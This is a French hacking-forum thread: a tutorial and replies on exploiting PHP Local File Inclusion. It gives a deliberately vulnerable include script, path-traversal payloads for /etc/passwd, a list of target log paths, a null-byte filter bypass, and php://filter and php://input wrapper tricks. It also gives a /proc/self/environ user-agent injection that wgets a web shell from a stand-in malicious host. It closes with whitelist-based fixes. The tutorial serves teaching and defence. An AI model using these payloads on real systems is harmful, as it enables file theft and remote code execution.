• STATISTIQUES
  • Il y a eu un total de 2 membres et 14220 visiteurs sur le site dans les dernières 24h pour un total de 14 222 personnes!


    Membres: 2 433
    Discussions: 3 585
    Messages: 32 832
    Tutoriels: 78
    Téléchargements: 38
    Sites dans l'annuaire: 58


  • ANNUAIRE
  • [EN] Hack This Site
    Hack This Site est considéré comme un réel terrain d'entraînement légal pour le...
    Hacking
    [FR] frameip
    le site de partage des connaissances du monde TCPIP
    Protocole
    [FR] Root-me
    Script: 5, Système: 20, Cracking: 16, Cryptanalyse: 17, Programmation: 8, Réaliste: 11, Réseau: 10, Stéganog...
    Challenges
    [FR] Microcontest
    Cryptographie: 7, Mathématiques: 8, Image Son Vidéo: 5, Intelligence artificielle: 3, Réseau: 2, Divers: 7, Phy...
    Challenges
    [FR] Zenk-Security
    La communauté zenk-security a pour objet principal la sécurité informatique, nous sommes des tou...
    Hacking
    [EN] Reddit
    Subreddit dédié à la sécurité informatique.
    Hacking
    [EN] Gekko
    Site de challenge présenter sous la forme d'une quête. Vous êtes un agent secret qui répond sous le nom...
    Challenges

  • DONATION
  • Si vous avez trouvé ce site internet utile, nous vous invitons à nous faire un don du montant de votre choix via Paypal. Ce don servira à financer notre hébergement.

    MERCI!




Note de ce sujet :
  • Moyenne : 5 (1 vote(s))
  • 1
  • 2
  • 3
  • 4
  • 5
[Faille WEB] LFI
10-10-2012, 22h14 (Modification du message : 25-02-2013, 21h35 par Swissky.)
Message : #1
Swissky Absent
Bon membre
*



Messages : 523
Sujets : 32
Points: 96
Inscription : Apr 2012
[Faille WEB] LFI
Local File Include
I) Définition
La "Local File Include" aussi appelée LFI, consiste à inclure un fichier du serveur sur lequel est hébergé le site vulnérable grâce à un problème de sécurité dans le code PHP.

II) Exploitation Théorique
Avant de pratiquer la faille, on va d'abord voir comment elle fonctionne.
Voici comment on va procéder:
Modification d'une variable via GET ou POST -> Inclusion du fichier correspondant à la variable.
On pourrait par exemple l'utiliser pour inclure un .htpasswd ou bien ajouter un shell sur le serveur Smile

III) Exploitation en local
On va maintenant faire une exploitation de cette faille en local, pour cela, vous devez avoir :
- WAMP
- Windows
- Quelques connaissances en PHP

Tout d'abords créons le fichier php : index.php contenant le code :
Code PHP :
<?php 
 $page 
$_GET[page];  //On récupere la page par l'URL
 
include($page); //On l'inclut
 
?>

Maintenant si on cherche à inclure la page: poc.txt on utiliseras l'URL :
http://localhost/sec/index.php?page=poc.txt
Et le contenu de la page s'affichera.

Maintenant ajoutez un fichier : .htpasswd, dans un dossier nommé "htprotect":
contenant id:pass, et incluez le avec :
Code PHP :
http://localhost/sec/index.php?page=htprotect/.htpasswd 
et id:pass , s'affichera sur la page en question.

Dernier test, on va inclure des fichiers spécifiques au serveur :
Sous Windows , on tentera d'afficher le fichier HOST
Code PHP :
http://localhost/sec/index.php?page=../../../windows/system32/drivers/etc/hosts 
Le caractère : "../" permet d'accéder au dossier parent, c'est-à-dire de remonter dans l'arborescence. Ici on remonte petit à petit jusqu'au dossier Windows , puis on descend jusqu'au fichier HOST. Cela devrait vous afficher :
Citation :# Copyright © 1993-2009 Microsoft Corp. # # This is a sample HOSTS file used by Microsoft TCP/IP for Windows. # # This file contains the mappings of IP addresses to host names. Each # entry should be kept on an individual line. The IP address should # be placed in the first column followed by the corresponding host name.

Sous Linux On tentera d'afficher les mots de passe des utilisateurs du serveurs contenu dans /etc/passwd.
Code PHP :
http://localhost/sec/index.php?page=../../../etc/passwd 
Comme toujours, vous verrez quelque chose du genre de :
username: passwd:UID:GID:full_name:directoryConfusedhell
Voici un exemple réel que j'ai piqué sur challenge :
Code :
root:x:0:0:root:/root:/usr/local/bin/sudosh bin:x:1:1:bin:/bin:/bin/false daemon:x:2:2:daemon:/sbin:/bin/false adm:x:3:4:adm:/var/adm:/bin/false lp:x:4:7:lp:/var/spool/lpd:/bin/false

Voici quelques emplacements clefs sur un serveur:
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../etc/httpd/logs/acces_log
../../../../../../../etc/httpd/logs/acces.log
../../../../../../../etc/httpd/logs/error_log
../../../../../../../etc/httpd/logs/error.log
../../../../../../../var/www/logs/access_log
../../../../../../../var/www/logs/access.log
../../../../../../../usr/local/apache/logs/access_ log
../../../../../../../usr/local/apache/logs/access. log
../../../../../../../var/log/apache/access_log
../../../../../../../var/log/apache2/access_log
../../../../../../../var/log/apache/access.log
../../../../../../../var/log/apache2/access.log
../../../../../../../var/log/access_log
../../../../../../../var/log/access.log
../../../../../../../var/www/logs/error_log
../../../../../../../var/www/logs/error.log
../../../../../../../usr/local/apache/logs/error_l og
../../../../../../../usr/local/apache/logs/error.l og
../../../../../../../var/log/apache/error_log
../../../../../../../var/log/apache2/error_log
../../../../../../../var/log/apache/error.log
../../../../../../../var/log/apache2/error.log
../../../../../../../var/log/error_log
../../../../../../../var/log/error.log

IV)Bypasser les scripts d'extension
Certains Webmasters tentent de mettre en place des filtres afin de bloquer cette faille, on retrouve assez souvent le filtre d'extension ci-dessous :
Code PHP :
<?php include($_GET['page'].".php");?>
Malheureusement pour eux, ce n'est pas une bonne protection. Voyons tout de suite pourquoi , vous savez surement que le code PHP est interprété par le serveurs via un logiciel tierce. Ce dernier comprend les fonction PHP au travers de fonction codée en C, vous vous demandez surement pourquoi je vous parles de C alors qu'on travaille sur les Failles WEB. C'est très simple si l'on envoi un octet/byte null : %00 qui détermine la fin d'une chaine de caractère, alors celui-ci sera compris par le serveur et il arretera la requete à ce caractère.
En exemple :http://url.com/fichier_avec_autre_extension%00
Ainsi le serveur arretea la requete au %00 et la vérification d'extension ne s'appliquera donc pas.

V) Technique du Proc/Self/Environ
Le fichier environ sous Linux est un fichier qui contient des logs sur les utilisateurs comme leur User_Agent, leur IP etc.. Le but du jeu est d'afficher son contenu puis ensuite de modifier une des variables qu'il contient :
Code :
http://exemple.com/index.php?page=../../proc/self/environ
Etape 1: Une fois le fichier affiché on remarque que celui-ci récupère notre User_Agent, on va donc le modifier avec User-Agent Switcher/Tamper Data ou une autre extension, on le change en :
Code PHP :
<?php phpinfo();?>
Cela aura pour effet d'afficher les informations sur PHP lorsque nous afficherons la page.
Etape 2 : On vérifie que la commande "exec" de PHP n'est pas bloquée par l'administrateur système en regardant dans la colonne disable_function du PHP Info, dans le cas où celle-ci est désactivée on trouvera un équivalent, il en existe beaucoup dans PHP.
Etape 3 : On modifie une dernière fois notre User_Agent en :
Code PHP :
<?exec('wget http://www.sitemalveillant.org/shell.txt -O shell.php');?>
Le serveur concerné téléchargera donc le shell et le renommera en shell.php lors de la prochaine visite sur la page contenant proc/self/environ.

VI) La technique des filtres
Il existe aussi d'autre moyens pour exploiter une LFI , cette fois-ci nous ne nous concentrons plus sur l'inclusion d'une page contenant des informations particulière, on va simplement afficher l'intégralité du code source d'une page (HTML CSS et PHP). Cette technique devient redoutable lorsque le site se connecte à une base de données car les identifiants se trouvent dans le code source de la page.
Prenons pour exemple le site :
Code :
http://sitevulnérable.com/index.php?page=lfi_exploit
Nous allons mettre un filtre en argument à la place d'un fichier, plus exactement le filtre : php://filter/convert.base64-encode/resource=*
il a pour effet d'afficher le code source de la page en base64.
L'url devient donc :
Code :
http://sitevulnérable.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
Et il nous affichera un code en base64 que l'on pourra déchiffrer avec la fonction base64_decode de PHP. Voici un petit exercice, tentez de décrypter ce code en base64:
Code :
QnJhdm8lMkMlMjB2b3VzJTIwYXZleiUyMGNvbXByaXMlMjBsZSUyMHByaW5jaXBlJTIwZHUlMjBkJUU5Y29kYWdlJTIwZGUlMjBsYSUyMEJhc2U2NA==


VII) Sécurisation
On pourrait sécuriser un site vulnérable de différentes façon, par exemple en bloquant les caractères comme "/" ou bien en listant dans un tableau toutes les pages accessibles à un utilisateurs lambda, afin de bloquer une include sur une page qui ne devrait pas être incluse. Voici un exemple de script pour la méthode avec le tableau:
Code PHP :
<?php
if(in_array($_GET['page'],array("index.php","presentation.php","forum.php")))
{
include(
$_GET['page']);
}
else
{
echo 
"fail hack";



Ainsi que pour la méthode consistant à bloquer des caractères :
Code PHP :
<?php
   $page
=strtolower($_GET['page']);
   if(isset(
$page) && preg_match("/^[A-Z0-9]+$/i",$page)) 
   {  if(
file_exists("pages/$page.php")){    include "pages/$page.php";   }  else  {   include "pages/include.php";   }
   }
   else
   {  include 
"pages/index.php";
   }
   
?>

Mis à jour le : 25/02/2013
Ajout de :
- Technique des filtres
- Technique du Proc/Self/Environ

Source:
http://hakipedia.com/index.php/Local_File_Inclusion
http://www.techgaun.com/2010/10/local-fi...l-for.html
Khaled, Kaizo, Luxerails , => Membre de N-PN, merci Smile
+1 (3) -1 (0) Répondre
10-10-2012, 22h24
Message : #2
kallimero Hors ligne
Imbécile heureux
*



Messages : 37
Sujets : 2
Points: 4
Inscription : Aug 2011
RE: [Faille WEB] LFI
Il y a pas mal de techniques pour exploité ce genre de vulnérabilité. En dehors du /etc/passwd (souvent sous les restrictions d'open_basedir), on peut :

- Inclure /proc/self/environ qui va renvoyer les headers de la requête. Donc en ajoutant du php, en user-agent, en cookie, ou même dans un header préalablement forgé (pour bypasser certains WAF) on pourra injecter du php.

- Inclure un wrapper php avantageux. Par exemple php://input ou data:;
Ou encore un truc du style php://filter/convert.base64-encode/resource=... pour lire le code php d'un fichier (donc possiblement retrouver les identifiants MySQL).

- Si on peut uploader une image sur le site, on peut écrire le php directement dans l'hexa de l'image, puis l'inclure.

C'est tout ce qui me revient sur l'instant.
Merci du partage.
+1 (1) -1 (0) Répondre
10-10-2012, 22h28
Message : #3
Swissky Absent
Bon membre
*



Messages : 523
Sujets : 32
Points: 96
Inscription : Apr 2012
RE: [Faille WEB] LFI
Merci pour ton commentaire , j'ajouterai tous sa en détail dès que j'aurai testé en local Smile
+1 (0) -1 (0) Répondre
10-10-2012, 23h06
Message : #4
Luxerails Hors ligne
Bon membre
*



Messages : 267
Sujets : 6
Points: 67
Inscription : Aug 2011
RE: [Faille WEB] LFI
(10-10-2012, 22h14)Swissky a écrit : Maintenant ajoutez un fichier : .htpasswd, dans un dossier nommé "htprotect":
contenant id:pass, et incluez le avec :
http://localhost/sec/index.php?page=/htp.../.htpasswd
et id:pass , s'affichera sur la page en question.

Heu, non. Là tu inclus le fichier /htprotect/.htpasswd, donc un dossier htprotect qui se trouve carrément à la racine du serveur. Si on veut lire un .htpasswd dans un dossier htprotect situé dans le même dossier que index.php (donc http://localhost/sec/htprotect/.htpasswd) il faut include
htprotect/.htpasswd.

Sinon, je trouve que le tuto est trop court, tu pourrais parler de tout ce qu'on peut faire d'autre avec cette faille, comme l'a résumé kallimero Smile
+1 (0) -1 (0) Répondre
11-10-2012, 06h51
Message : #5
Swissky Absent
Bon membre
*



Messages : 523
Sujets : 32
Points: 96
Inscription : Apr 2012
RE: [Faille WEB] LFI
VOila j'ai corrigé ma coquille ^^'
Il est certes très court mais ne t'inquiète pas je compte l'etoffer, donc n'hésite pas à proposer des liens vers des articles traitant de ça Big Grin
+1 (0) -1 (0) Répondre
11-10-2012, 11h15
Message : #6
InstinctHack Hors ligne
Posting Freak
*



Messages : 1,366
Sujets : 184
Points: 299
Inscription : Dec 2011
RE: [Faille WEB] LFI
c'est un bon début, mais il ne faut pas seulement parler de l'exploitation, mais aussi de la correction.

genre :
Code PHP :
<?php
if(in_array($_GET['page'],array("index.php","presentation.php","forum.php")))
{
include(
$_GET['page']);
}
else
{
echo 
"fail hack";


mais il existe d'autre techniques comme les regex qui permettent de detecter des caractères non autorisés comme "/" ou "."

Smile
Citation :un jour en cours de java j'ai attrapé les seins d'une fille mais elle m'a frappé en disant "c'est privé !!"
j'ai pas compris pourquoi, je croyais qu'on était dans la même classe
+1 (0) -1 (0) Répondre
11-10-2012, 12h32
Message : #7
kaizo Hors ligne
Membre
*



Messages : 45
Sujets : 6
Points: 22
Inscription : Sep 2012
RE: [Faille WEB] LFI
intéressant, à noter également que cette faille est souvent "couplée" avec un petit null byte %00 lorsque la page est protégée avec un filtre d'extension
ex :
Code PHP :
<?php include($_GET['page']..php”);?>
"Qui mange une noix de coco, fait confiance à son anus!"

+1 (0) -1 (0) Répondre
11-10-2012, 19h12
Message : #8
Luxerails Hors ligne
Bon membre
*



Messages : 267
Sujets : 6
Points: 67
Inscription : Aug 2011
RE: [Faille WEB] LFI
On peut utiliser des wrappers php:// ou data:// par exemple.
php://filter/convert.base64-encode/resource=page.php
va prendre le contenu de page.php, et va l'encoder en base64 avant de l'envoyer au stdout (donc ici la sortie de l'include, qui va afficher le base64). L'avantage étant que comme la source en php est base64-encodé, il n'est pas exécuté, et donc après décodage le contenu en entier du fichier (et donc le php) est affiché. Contrairement à un simple include page.php, où le php serait exécuté et donc impossible à récupérer.
Il y a aussi le php://input qui est interessant. En incluant php://input, on peut envoyer du php en POST, qui sera exécuté et renvoyé dans le stdout de même. Donc avec une requête du style

Citation :GET /index.php?page=php://input HTTP/1.1
Host: sitevulnerable.com

<?php phpinfo(); ?>

La doc : http://php.net/manual/fr/wrappers.php.php

(11-10-2012, 12h32)kaizo a écrit : intéressant, à noter également que cette faille est souvent "couplée" avec un petit null byte %00 lorsque la page est protégée avec un filtre d'extension
ex :
Code PHP :
<?php include($_GET['page']..php”);?>

» Parceque la fonction include de php est codée en C, et qu'un null byte désigne donc la fin de la chaine. Ainsi lors d'un include(".htpasswd\x00.php"); va inclure .htpasswd et ne pas prendre en compte le ".php".
+1 (1) -1 (0) Répondre
11-10-2012, 20h04
Message : #9
Swissky Absent
Bon membre
*



Messages : 523
Sujets : 32
Points: 96
Inscription : Apr 2012
RE: [Faille WEB] LFI
Tuto mis à jour, je continuerai plus tard, n'hésitez pas poster des trucs dessus Wink
+1 (0) -1 (0) Répondre
25-02-2013, 21h39 (Modification du message : 25-02-2013, 21h39 par Swissky.)
Message : #10
Swissky Absent
Bon membre
*



Messages : 523
Sujets : 32
Points: 96
Inscription : Apr 2012
RE: [Faille WEB] LFI
Petit up pour dire que j'ai ajouté
- Technique des filtres
- Technique du Proc/Self/Environ
suivant les recommandations de Luxerails et de Kallimero.
+1 (0) -1 (0) Répondre
25-02-2013, 22h04
Message : #11
InstinctHack Hors ligne
Posting Freak
*



Messages : 1,366
Sujets : 184
Points: 299
Inscription : Dec 2011
RE: [Faille WEB] LFI
Super, merci à toi Wink
Citation :un jour en cours de java j'ai attrapé les seins d'une fille mais elle m'a frappé en disant "c'est privé !!"
j'ai pas compris pourquoi, je croyais qu'on était dans la même classe
+1 (0) -1 (0) Répondre


Sujets apparemment similaires…
Sujet Auteur Réponses Affichages Dernier message
  Comment exploiter une faille SQL Injection CyberSee 33 11,181 22-09-2015, 21h53
Dernier message: CyberSee
  Comment est exploitée une faille XSS CyberSee 37 12,398 01-09-2015, 16h07
Dernier message: CyberSee
  [Tuto]Faille CRLF OverDreams 15 4,645 18-06-2013, 12h33
Dernier message: Hypnoze57
  [Faille Web] Full Path Disclosure Swissky 4 1,642 07-12-2012, 08h52
Dernier message: Shirobi

Atteindre :


Utilisateur(s) parcourant ce sujet : 1 visiteur(s)
N-PN
Accueil | Challenges | Tutoriels | Téléchargements | Forum | Retourner en haut